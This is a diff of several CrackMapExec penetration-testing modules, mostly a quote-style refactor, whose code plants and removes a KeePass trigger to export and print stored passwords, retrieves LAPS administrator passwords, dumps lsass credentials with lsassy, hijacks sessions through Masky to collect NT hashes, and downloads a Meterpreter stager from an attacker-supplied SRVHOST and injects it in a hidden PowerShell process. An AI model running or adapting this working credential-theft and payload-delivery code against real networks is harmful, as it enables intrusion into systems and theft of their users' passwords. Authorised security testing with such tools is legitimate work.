# if the malicious trigger was not self-deleted, deletes it
|
||||
if self.trigger_added(context, connection):
|
||||
|
||||
# prepare the trigger deletion script based on user-specified parameters (e.g: trigger name, etc)
|
||||
# see data/keepass_trigger_module/RemoveKeePassTrigger.ps1
|
||||
self.remove_trigger_script_str = self.remove_trigger_script_str.replace(
|
||||
'REPLACE_ME_KeePassXMLPath',
|
||||
self.keepass_config_path
|
||||
)
|
||||
self.remove_trigger_script_str = self.remove_trigger_script_str.replace(
|
||||
'REPLACE_ME_TriggerName',
|
||||
self.trigger_name
|
||||
)
|
||||
self.remove_trigger_script_str = self.remove_trigger_script_str.replace("REPLACE_ME_KeePassXMLPath", self.keepass_config_path)
|
||||
self.remove_trigger_script_str = self.remove_trigger_script_str.replace("REPLACE_ME_TriggerName", self.trigger_name)
|
||||
|
||||
# actually performs trigger deletion
|
||||
if self.powershell_exec_method == 'ENCODE':
|
||||
remove_trigger_script_b64 = b64encode(self.remove_trigger_script_str.encode('UTF-16LE')).decode('utf-8')
|
||||
if self.powershell_exec_method == "ENCODE":
|
||||
remove_trigger_script_b64 = b64encode(self.remove_trigger_script_str.encode("UTF-16LE")).decode("utf-8")
|
||||
remove_trigger_script_command_str = f"powershell.exe -e {remove_trigger_script_b64}"
|
||||
connection.execute(remove_trigger_script_command_str, True)
|
||||
elif self.powershell_exec_method == 'PS1':
|
||||
elif self.powershell_exec_method == "PS1":
|
||||
try:
|
||||
self.put_file_execute_delete(context, connection, self.remove_trigger_script_str)
|
||||
except Exception as e:
|
||||
@@ -397,39 +382,37 @@ class CMEModule:
|
||||
"""Helper to upload script to a temporary folder, run then deletes it"""
|
||||
script_str_io = StringIO(psh_script_str)
|
||||
connection.conn.putFile(self.share, self.remote_temp_script_path.split(":")[1], script_str_io.read)
|
||||
script_execute_cmd = 'powershell.exe -ep Bypass -F {}'.format(self.remote_temp_script_path)
|
||||
script_execute_cmd = "powershell.exe -ep Bypass -F {}".format(self.remote_temp_script_path)
|
||||
connection.execute(script_execute_cmd, True)
|
||||
remove_remote_temp_script_cmd = 'powershell.exe "Remove-Item \"{}\""'.format(self.remote_temp_script_path)
|
||||
remove_remote_temp_script_cmd = 'powershell.exe "Remove-Item "{}""'.format(self.remote_temp_script_path)
|
||||
connection.execute(remove_remote_temp_script_cmd)
|
||||
|
||||
def extract_password(self, context):
|
||||
xml_doc_path = os.path.abspath(self.local_export_path + "/" + self.export_name)
|
||||
xml_tree = ElementTree.parse(xml_doc_path)
|
||||
root = xml_tree.getroot()
|
||||
to_string = ElementTree.tostring(root, encoding='UTF-8', method='xml')
|
||||
to_string = ElementTree.tostring(root, encoding="UTF-8", method="xml")
|
||||
xml_to_dict = parse(to_string)
|
||||
dump = json.dumps(xml_to_dict)
|
||||
obj = json.loads(dump)
|
||||
|
||||
if len(obj['KeePassFile']['Root']['Group']['Entry']):
|
||||
for obj2 in obj['KeePassFile']['Root']['Group']['Entry']:
|
||||
for password in obj2['String']:
|
||||
if password['Key'] == "Password":
|
||||
context.log.highlight(str(password['Key']) + " : " + str(password['Value']['#text']))
|
||||
if len(obj["KeePassFile"]["Root"]["Group"]["Entry"]):
|
||||
for obj2 in obj["KeePassFile"]["Root"]["Group"]["Entry"]:
|
||||
for password in obj2["String"]:
|
||||
if password["Key"] == "Password":
|
||||
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"]))
|
||||
else:
|
||||
context.log.highlight(str(password['Key']) + " : " + str(password['Value']))
|
||||
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]))
|
||||
context.log.highlight("")
|
||||
if len(obj['KeePassFile']['Root']['Group']['Group']):
|
||||
for obj2 in obj['KeePassFile']['Root']['Group']['Group']:
|
||||
if len(obj["KeePassFile"]["Root"]["Group"]["Group"]):
|
||||
for obj2 in obj["KeePassFile"]["Root"]["Group"]["Group"]:
|
||||
try:
|
||||
for obj3 in obj2['Entry']:
|
||||
for password in obj3['String']:
|
||||
if password['Key'] == "Password":
|
||||
context.log.highlight(str(password['Key']) + " : " + str(password['Value']['#text']))
|
||||
for obj3 in obj2["Entry"]:
|
||||
for password in obj3["String"]:
|
||||
if password["Key"] == "Password":
|
||||
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"]))
|
||||
else:
|
||||
context.log.highlight(str(password['Key']) + " : " + str(password['Value']))
|
||||
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]))
|
||||
context.log.highlight("")
|
||||
except KeyError:
|
||||
pass
|
||||
|
||||
|
||||
|
||||
+28
-23
@@ -1,64 +1,69 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
import json
|
||||
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
|
||||
|
||||
class CMEModule:
|
||||
"""
|
||||
Module by technobro refactored by @mpgn (now compatible with LDAP protocol + filter by computer)
|
||||
Module by technobro refactored by @mpgn (now compatible with LDAP protocol + filter by computer)
|
||||
|
||||
Initial module:
|
||||
@T3KX: https://github.com/T3KX/Crackmapexec-LAPS
|
||||
Initial module:
|
||||
@T3KX: https://github.com/T3KX/Crackmapexec-LAPS
|
||||
|
||||
Credit: @mpgn_x64, @n00py1
|
||||
Credit: @mpgn_x64, @n00py1
|
||||
"""
|
||||
|
||||
name = 'laps'
|
||||
description = 'Retrieves the LAPS passwords'
|
||||
supported_protocols = ['ldap']
|
||||
name = "laps"
|
||||
description = "Retrieves the LAPS passwords"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
COMPUTER Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: *
|
||||
COMPUTER Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: *
|
||||
"""
|
||||
|
||||
self.computer = None
|
||||
if 'COMPUTER' in module_options:
|
||||
self.computer = module_options['COMPUTER']
|
||||
if "COMPUTER" in module_options:
|
||||
self.computer = module_options["COMPUTER"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.display('Getting LAPS Passwords')
|
||||
context.log.display("Getting LAPS Passwords")
|
||||
if self.computer is not None:
|
||||
searchFilter = '(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=' + self.computer + '))'
|
||||
searchFilter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.computer + "))"
|
||||
else:
|
||||
searchFilter = '(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*)))'
|
||||
attributes = ['msLAPS-EncryptedPassword', 'msLAPS-Password', 'ms-MCS-AdmPwd', 'sAMAccountName']
|
||||
searchFilter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*)))"
|
||||
attributes = [
|
||||
"msLAPS-EncryptedPassword",
|
||||
"msLAPS-Password",
|
||||
"ms-MCS-AdmPwd",
|
||||
"sAMAccountName",
|
||||
]
|
||||
results = connection.search(searchFilter, attributes, 0)
|
||||
results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)]
|
||||
if len(results) != 0:
|
||||
laps_computers = []
|
||||
for computer in results:
|
||||
msMCSAdmPwd = ''
|
||||
sAMAccountName = ''
|
||||
values = {str(attr['type']).lower(): str(attr['vals'][0]) for attr in computer['attributes']}
|
||||
msMCSAdmPwd = ""
|
||||
sAMAccountName = ""
|
||||
values = {str(attr["type"]).lower(): str(attr["vals"][0]) for attr in computer["attributes"]}
|
||||
if "mslaps-encryptedpassword" in values:
|
||||
context.log.fail("LAPS password is encrypted and currently CrackMapExec doesn't support the decryption...")
|
||||
context.log.fail("LAPS password is encrypted and currently CrackMapExec doesn't" " support the decryption...")
|
||||
|
||||
return
|
||||
elif "mslaps-password" in values:
|
||||
r = json.loads(values['mslaps-password'])
|
||||
laps_computers.append((values['samaccountname'], r['n'], r['p']))
|
||||
r = json.loads(values["mslaps-password"])
|
||||
laps_computers.append((values["samaccountname"], r["n"], r["p"]))
|
||||
elif "ms-mcs-admpwd" in values:
|
||||
laps_computers.append((values['samaccountname'], '', values['ms-mcs-admpwd']))
|
||||
laps_computers.append((values["samaccountname"], "", values["ms-mcs-admpwd"]))
|
||||
else:
|
||||
context.log.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password")
|
||||
context.log.fail("No result found with attribute ms-MCS-AdmPwd or" " msLAPS-Password")
|
||||
|
||||
laps_computers = sorted(laps_computers, key=lambda x: x[0])
|
||||
for sAMAccountName, user, msMCSAdmPwd in laps_computers:
|
||||
context.log.highlight("Computer: {:<20} User: {:<15} Password: {}".format(sAMAccountName, user, msMCSAdmPwd))
|
||||
else:
|
||||
context.log.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password !")
|
||||
|
||||
|
||||
+115
-99
@@ -1,7 +1,6 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import ldap3
|
||||
import socket
|
||||
import ssl
|
||||
import asyncio
|
||||
|
||||
@@ -10,7 +9,9 @@ from msldap.commons.target import MSLDAPTarget
|
||||
|
||||
from asyauth.common.constants import asyauthSecret
|
||||
from asyauth.common.credentials.ntlm import NTLMCredential
|
||||
from asyauth.common.credentials.kerberos import KerberosCredential
|
||||
|
||||
from asysocks.unicomm.common.target import UniTarget, UniProto
|
||||
|
||||
class CMEModule:
|
||||
"""
|
||||
@@ -19,11 +20,12 @@ class CMEModule:
|
||||
Module by LuemmelSec (@theluemmel), updated by @zblurx
|
||||
Original work thankfully taken from @zyn3rgy's Ldap Relay Scan project: https://github.com/zyn3rgy/LdapRelayScan
|
||||
"""
|
||||
name = 'ldap-checker'
|
||||
description = 'Checks whether LDAP signing and binding are required and / or enforced'
|
||||
supported_protocols = ['ldap']
|
||||
|
||||
name = "ldap-checker"
|
||||
description = "Checks whether LDAP signing and binding are required and / or enforced"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -32,83 +34,68 @@ class CMEModule:
|
||||
pass
|
||||
|
||||
def on_login(self, context, connection):
|
||||
|
||||
#Grab the variables from the CME connection to fill our variables
|
||||
|
||||
inputUser = connection.domain + '\\' + connection.username
|
||||
inputPassword = connection.password
|
||||
if connection.password == '' and connection.nthash is not None:
|
||||
context.log.debug("Using NT(LM) hash for authentication")
|
||||
inputPassword = "aad3b435b51404eeaad3b435b51404ee:" + connection.nthash
|
||||
dcTarget = connection.conn.getRemoteHost()
|
||||
|
||||
#Conduct a bind to LDAPS and determine if channel
|
||||
#binding is enforced based on the contents of potential
|
||||
#errors returned. This can be determined unauthenticated,
|
||||
#because the error indicating channel binding enforcement
|
||||
#will be returned regardless of a successful LDAPS bind.
|
||||
def run_ldaps_noEPA(inputUser, inputPassword, dcTarget):
|
||||
try:
|
||||
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2)
|
||||
ldapServer = ldap3.Server(
|
||||
dcTarget, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
|
||||
ldapConn = ldap3.Connection(
|
||||
ldapServer, user=inputUser, password=inputPassword, authentication=ldap3.NTLM)
|
||||
if not ldapConn.bind():
|
||||
if "data 80090346" in str(ldapConn.result):
|
||||
return True #channel binding IS enforced
|
||||
elif "data 52e" in str(ldapConn.result):
|
||||
return False #channel binding not enforced
|
||||
else:
|
||||
context.log.fail("UNEXPECTED ERROR: " + str(ldapConn.result))
|
||||
else:
|
||||
#LDAPS bind successful
|
||||
return False #because channel binding is not enforced
|
||||
exit()
|
||||
except Exception as e:
|
||||
context.log.fail("\n [!] "+ dcTarget+" -", str(e))
|
||||
context.log.fail(" * Ensure DNS is resolving properly, and that you can reach LDAPS on this host")
|
||||
|
||||
#Conduct a bind to LDAPS with channel binding supported
|
||||
#but intentionally miscalculated. In the case that and
|
||||
#LDAPS bind has without channel binding supported has occured,
|
||||
#you can determine whether the policy is set to "never" or
|
||||
#if it's set to "when supported" based on the potential
|
||||
#error recieved from the bind attempt.
|
||||
async def run_ldaps_withEPA(inputUser, inputPassword, dcTarget):
|
||||
target = MSLDAPTarget(ip=connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
|
||||
stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT
|
||||
secret = connection.password if not connection.nthash else connection.nthash
|
||||
credential = NTLMCredential(secret=secret, username=connection.username, domain=connection.domain, stype=stype)
|
||||
# Conduct a bind to LDAPS and determine if channel
|
||||
# binding is enforced based on the contents of potential
|
||||
# errors returned. This can be determined unauthenticated,
|
||||
# because the error indicating channel binding enforcement
|
||||
# will be returned regardless of a successful LDAPS bind.
|
||||
async def run_ldaps_noEPA(target, credential):
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
_, err = await ldapsClientConn.connect()
|
||||
if err is not None:
|
||||
context.log.fail("ERROR while connecting to " + dcTarget + ": " + err)
|
||||
#forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message
|
||||
ldapsClientConn.cb_data = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
||||
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
|
||||
exit()
|
||||
_, err = await ldapsClientConn.bind()
|
||||
if "data 80090346" in str(err):
|
||||
return True # channel binding IS enforced
|
||||
elif "data 52e" in str(err):
|
||||
return False # channel binding not enforced
|
||||
elif err is None:
|
||||
# LDAPS bind successful
|
||||
# because channel binding is not enforced
|
||||
return False
|
||||
|
||||
# Conduct a bind to LDAPS with channel binding supported
|
||||
# but intentionally miscalculated. In the case that and
|
||||
# LDAPS bind has without channel binding supported has occured,
|
||||
# you can determine whether the policy is set to "never" or
|
||||
# if it's set to "when supported" based on the potential
|
||||
# error recieved from the bind attempt.
|
||||
async def run_ldaps_withEPA(target, credential):
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
_, err = await ldapsClientConn.connect()
|
||||
if err is not None:
|
||||
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
|
||||
exit()
|
||||
# forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message
|
||||
ldapsClientConn.cb_data = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
_, err = await ldapsClientConn.bind()
|
||||
if "data 80090346" in str(err):
|
||||
return True
|
||||
elif "data 52e" in str(err):
|
||||
return False
|
||||
elif err is not None:
|
||||
context.log.fail("ERROR while connecting to " + dcTarget + ": " + err)
|
||||
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
|
||||
elif err is None:
|
||||
return False
|
||||
|
||||
|
||||
#Domain Controllers do not have a certificate setup for
|
||||
#LDAPS on port 636 by default. If this has not been setup,
|
||||
#the TLS handshake will hang and you will not be able to
|
||||
#interact with LDAPS. The condition for the certificate
|
||||
#existing as it should is either an error regarding
|
||||
#the fact that the certificate is self-signed, or
|
||||
#no error at all. Any other "successful" edge cases
|
||||
#not yet accounted for.
|
||||
# Domain Controllers do not have a certificate setup for
|
||||
# LDAPS on port 636 by default. If this has not been setup,
|
||||
# the TLS handshake will hang and you will not be able to
|
||||
# interact with LDAPS. The condition for the certificate
|
||||
# existing as it should is either an error regarding
|
||||
# the fact that the certificate is self-signed, or
|
||||
# no error at all. Any other "successful" edge cases
|
||||
# not yet accounted for.
|
||||
def DoesLdapsCompleteHandshake(dcIp):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.settimeout(5)
|
||||
ssl_sock = ssl.wrap_socket(s,cert_reqs=ssl.CERT_OPTIONAL,suppress_ragged_eofs=False,do_handshake_on_connect=False)
|
||||
ssl_sock = ssl.wrap_socket(
|
||||
s,
|
||||
cert_reqs=ssl.CERT_OPTIONAL,
|
||||
suppress_ragged_eofs=False,
|
||||
do_handshake_on_connect=False,
|
||||
)
|
||||
ssl_sock.connect((dcIp, 636))
|
||||
try:
|
||||
ssl_sock.do_handshake()
|
||||
@@ -126,47 +113,76 @@ class CMEModule:
|
||||
ssl_sock.close()
|
||||
return False
|
||||
|
||||
|
||||
#Conduct and LDAP bind and determine if server signing
|
||||
#requirements are enforced based on potential errors
|
||||
#during the bind attempt.
|
||||
def run_ldap(inputUser, inputPassword, dcTarget):
|
||||
ldapServer = ldap3.Server(
|
||||
dcTarget, use_ssl=False, port=389, get_info=ldap3.ALL)
|
||||
ldapConn = ldap3.Connection(
|
||||
ldapServer, user=inputUser, password=inputPassword, authentication=ldap3.NTLM)
|
||||
if not ldapConn.bind():
|
||||
if "stronger" in str(ldapConn.result):
|
||||
return True #because LDAP server signing requirements ARE enforced
|
||||
elif "data 52e" or "data 532" in str(ldapConn.result):
|
||||
context.log.debug("Not connected")
|
||||
return
|
||||
else:
|
||||
context.log.debug("UNEXPECTED ERROR: " + str(ldapConn.result))
|
||||
# Conduct and LDAP bind and determine if server signing
|
||||
# requirements are enforced based on potential errors
|
||||
# during the bind attempt.
|
||||
async def run_ldap(target, credential):
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
_, err = await ldapsClientConn.connect()
|
||||
if err is None:
|
||||
_, err = await ldapsClientConn.bind()
|
||||
if "stronger" in str(err):
|
||||
return True # because LDAP server signing requirements ARE enforced
|
||||
elif ("data 52e" or "data 532") in str(err):
|
||||
context.log.fail("Not connected... exiting")
|
||||
exit()
|
||||
elif err is None:
|
||||
return False
|
||||
else:
|
||||
#LDAPS bind successful
|
||||
return False #because LDAP server signing requirements are not enforced
|
||||
exit()
|
||||
context.log.fail(str(err))
|
||||
|
||||
#Run trough all our code blocks to determine LDAP signing and channel binding settings.
|
||||
# Run trough all our code blocks to determine LDAP signing and channel binding settings.
|
||||
stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT
|
||||
secret = connection.password if not connection.nthash else connection.nthash
|
||||
if not connection.kerberos:
|
||||
credential = NTLMCredential(
|
||||
secret=secret,
|
||||
username=connection.username,
|
||||
domain=connection.domain,
|
||||
stype=stype,
|
||||
)
|
||||
else:
|
||||
kerberos_target = UniTarget(
|
||||
connection.hostname + '.' + connection.domain,
|
||||
88,
|
||||
UniProto.CLIENT_TCP,
|
||||
proxies=None,
|
||||
dns=None,
|
||||
dc_ip=connection.domain,
|
||||
domain=connection.domain
|
||||
)
|
||||
credential = KerberosCredential(
|
||||
target=kerberos_target,
|
||||
secret=secret,
|
||||
username=connection.username,
|
||||
domain=connection.domain,
|
||||
stype=stype,
|
||||
)
|
||||
|
||||
target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
|
||||
ldapIsProtected = asyncio.run(run_ldap(target, credential))
|
||||
|
||||
ldapIsProtected = run_ldap(inputUser, inputPassword, dcTarget)
|
||||
|
||||
if ldapIsProtected == False:
|
||||
context.log.highlight("LDAP Signing NOT Enforced!")
|
||||
elif ldapIsProtected == True:
|
||||
context.log.fail("LDAP Signing IS Enforced")
|
||||
if DoesLdapsCompleteHandshake(dcTarget) == True:
|
||||
ldapsChannelBindingAlwaysCheck = run_ldaps_noEPA(inputUser, inputPassword, dcTarget)
|
||||
ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(inputUser, inputPassword, dcTarget))
|
||||
else:
|
||||
context.log.fail("Connection fail, exiting now")
|
||||
exit()
|
||||
|
||||
if DoesLdapsCompleteHandshake(connection.domain) == True:
|
||||
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
|
||||
ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential))
|
||||
target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
|
||||
ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential))
|
||||
if ldapsChannelBindingAlwaysCheck == False and ldapsChannelBindingWhenSupportedCheck == True:
|
||||
context.log.highlight('LDAPS Channel Binding is set to \"When Supported\"')
|
||||
context.log.highlight('LDAPS Channel Binding is set to "When Supported"')
|
||||
elif ldapsChannelBindingAlwaysCheck == False and ldapsChannelBindingWhenSupportedCheck == False:
|
||||
context.log.highlight('LDAPS Channel Binding is set to \"NEVER\"')
|
||||
context.log.highlight('LDAPS Channel Binding is set to "NEVER"')
|
||||
elif ldapsChannelBindingAlwaysCheck == True:
|
||||
context.log.fail('LDAPS Channel Binding is set to \"Required\"')
|
||||
context.log.fail('LDAPS Channel Binding is set to "Required"')
|
||||
else:
|
||||
context.log.fail("\nSomething went wrong...")
|
||||
exit()
|
||||
exit()
|
||||
else:
|
||||
context.log.fail(dcTarget + " - cannot complete TLS handshake, cert likely not configured")
|
||||
context.log.fail(connection.domain + " - cannot complete TLS handshake, cert likely not configured")
|
||||
|
||||
+44
-15
@@ -15,9 +15,9 @@ from cme.helpers.bloodhound import add_user_bh
|
||||
|
||||
|
||||
class CMEModule:
|
||||
name = 'lsassy'
|
||||
name = "lsassy"
|
||||
description = "Dump lsass and parse the result remotely with lsassy"
|
||||
supported_protocols = ['smb']
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True # writes temporary files, and it's possible for them to not be deleted
|
||||
multiple_hosts = True
|
||||
|
||||
@@ -30,9 +30,9 @@ class CMEModule:
|
||||
"""
|
||||
METHOD Method to use to dump lsass.exe with lsassy
|
||||
"""
|
||||
self.method = 'comsvcs'
|
||||
if 'METHOD' in module_options:
|
||||
self.method = module_options['METHOD']
|
||||
self.method = "comsvcs"
|
||||
if "METHOD" in module_options:
|
||||
self.method = module_options["METHOD"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
host = connection.host
|
||||
@@ -51,7 +51,7 @@ class CMEModule:
|
||||
nthash=nthash,
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain_name
|
||||
domain=domain_name,
|
||||
)
|
||||
|
||||
if session.smb_session is None:
|
||||
@@ -101,8 +101,22 @@ class CMEModule:
|
||||
|
||||
for cred in credentials:
|
||||
context.log.debug(f"Credential: {cred}")
|
||||
if [cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]] not in credentials_unique:
|
||||
credentials_unique.append([cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]])
|
||||
if [
|
||||
cred["domain"],
|
||||
cred["username"],
|
||||
cred["password"],
|
||||
cred["lmhash"],
|
||||
cred["nthash"],
|
||||
] not in credentials_unique:
|
||||
credentials_unique.append(
|
||||
[
|
||||
cred["domain"],
|
||||
cred["username"],
|
||||
cred["password"],
|
||||
cred["lmhash"],
|
||||
cred["nthash"],
|
||||
]
|
||||
)
|
||||
credentials_output.append(cred)
|
||||
|
||||
context.log.debug(f"Calling process_credentials")
|
||||
@@ -117,15 +131,30 @@ class CMEModule:
|
||||
domain = cred["domain"]
|
||||
if "." not in cred["domain"] and cred["domain"].upper() in connection.domain.upper():
|
||||
domain = connection.domain # slim shady
|
||||
self.save_credentials(context, connection, cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"])
|
||||
self.print_credentials(context, cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"])
|
||||
credz_bh.append({'username': cred["username"].upper(), 'domain': domain.upper()})
|
||||
self.save_credentials(
|
||||
context,
|
||||
connection,
|
||||
cred["domain"],
|
||||
cred["username"],
|
||||
cred["password"],
|
||||
cred["lmhash"],
|
||||
cred["nthash"],
|
||||
)
|
||||
self.print_credentials(
|
||||
context,
|
||||
cred["domain"],
|
||||
cred["username"],
|
||||
cred["password"],
|
||||
cred["lmhash"],
|
||||
cred["nthash"],
|
||||
)
|
||||
credz_bh.append({"username": cred["username"].upper(), "domain": domain.upper()})
|
||||
add_user_bh(credz_bh, domain, context.log, connection.config)
|
||||
|
||||
@staticmethod
|
||||
def print_credentials(context, domain, username, password, lmhash, nthash):
|
||||
if password is None:
|
||||
password = ':'.join(h for h in [lmhash, nthash] if h is not None)
|
||||
password = ":".join(h for h in [lmhash, nthash] if h is not None)
|
||||
output = "%s\\%s %s" % (domain, username, password)
|
||||
context.log.highlight(output)
|
||||
|
||||
@@ -133,8 +162,8 @@ class CMEModule:
|
||||
def save_credentials(context, connection, domain, username, password, lmhash, nthash):
|
||||
host_id = context.db.get_hosts(connection.host)[0][0]
|
||||
if password is not None:
|
||||
credential_type = 'plaintext'
|
||||
credential_type = "plaintext"
|
||||
else:
|
||||
credential_type = 'hash'
|
||||
password = ':'.join(h for h in [lmhash, nthash] if h is not None)
|
||||
credential_type = "hash"
|
||||
password = ":".join(h for h in [lmhash, nthash] if h is not None)
|
||||
context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id)
|
||||
|
||||
+5
-18
@@ -40,9 +40,7 @@ class CMEModule:
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if not self.ca:
|
||||
context.log.fail(
|
||||
"Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)"
|
||||
)
|
||||
context.log.fail("Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)")
|
||||
return False
|
||||
|
||||
host = connection.host
|
||||
@@ -78,9 +76,7 @@ class CMEModule:
|
||||
if not tracker.nb_hijacked_users:
|
||||
context.log.display("No users' sessions were hijacked")
|
||||
else:
|
||||
context.log.display(
|
||||
f"{tracker.nb_hijacked_users} session(s) successfully hijacked"
|
||||
)
|
||||
context.log.display(f"{tracker.nb_hijacked_users} session(s) successfully hijacked")
|
||||
context.log.display("Attempting to retrieve NT hash(es) via PKINIT")
|
||||
|
||||
if not rslts:
|
||||
@@ -96,9 +92,7 @@ class CMEModule:
|
||||
if pwned_users:
|
||||
context.log.success(f"{pwned_users} NT hash(es) successfully collected")
|
||||
else:
|
||||
context.log.fail(
|
||||
"Unable to collect NT hash(es) from the hijacked session(s)"
|
||||
)
|
||||
context.log.fail("Unable to collect NT hash(es) from the hijacked session(s)")
|
||||
return True
|
||||
|
||||
def process_credentials(self, connection, context, user):
|
||||
@@ -121,17 +115,10 @@ class CMEModule:
|
||||
|
||||
if not tracker.files_cleaning_success:
|
||||
context.log.fail("Fail to clean files related to Masky")
|
||||
context.log.fail(
|
||||
(
|
||||
f"Please remove the files named '{tracker.agent_filename}', '{tracker.error_filename}', "
|
||||
f"'{tracker.output_filename}' & '{tracker.args_filename}' within the folder '\\Windows\\Temp\\'"
|
||||
)
|
||||
)
|
||||
context.log.fail((f"Please remove the files named '{tracker.agent_filename}', '{tracker.error_filename}', " f"'{tracker.output_filename}' & '{tracker.args_filename}' within the folder '\\Windows\\Temp\\'"))
|
||||
ret = False
|
||||
|
||||
if not tracker.svc_cleaning_success:
|
||||
context.log.fail(
|
||||
f"Fail to remove the service named '{tracker.svc_name}', please remove it manually"
|
||||
)
|
||||
context.log.fail(f"Fail to remove the service named '{tracker.svc_name}', please remove it manually")
|
||||
ret = False
|
||||
return ret
|
||||
|
||||
+14
-12
@@ -9,6 +9,7 @@ class CMEModule:
|
||||
Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
|
||||
Module by @byt3bl33d3r
|
||||
"""
|
||||
|
||||
name = "met_inject"
|
||||
description = "Downloads the Meterpreter stager and injects it into memory"
|
||||
supported_protocols = ["smb", "mssql"]
|
||||
@@ -41,19 +42,19 @@ class CMEModule:
|
||||
after running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that
|
||||
"""
|
||||
|
||||
self.met_ssl = 'https'
|
||||
self.met_ssl = "https"
|
||||
|
||||
if 'SRVHOST' not in module_options or 'SRVPORT' not in module_options:
|
||||
context.log.fail('SRVHOST and SRVPORT options are required!')
|
||||
if "SRVHOST" not in module_options or "SRVPORT" not in module_options:
|
||||
context.log.fail("SRVHOST and SRVPORT options are required!")
|
||||
exit(1)
|
||||
|
||||
if 'SSL' in module_options:
|
||||
self.met_ssl = module_options['SSL']
|
||||
if 'RAND' in module_options:
|
||||
self.rand = module_options['RAND']
|
||||
if "SSL" in module_options:
|
||||
self.met_ssl = module_options["SSL"]
|
||||
if "RAND" in module_options:
|
||||
self.rand = module_options["RAND"]
|
||||
|
||||
self.srvhost = module_options['SRVHOST']
|
||||
self.srvport = module_options['SRVPORT']
|
||||
self.srvhost = module_options["SRVHOST"]
|
||||
self.srvport = module_options["SRVPORT"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
# stolen from https://github.com/jaredhaight/Invoke-MetasploitPayload
|
||||
@@ -69,10 +70,11 @@ class CMEModule:
|
||||
$ProcessInfo.CreateNoWindow = $True
|
||||
$ProcessInfo.WindowStyle = "Hidden"
|
||||
$Process = [System.Diagnostics.Process]::Start($ProcessInfo)""".format(
|
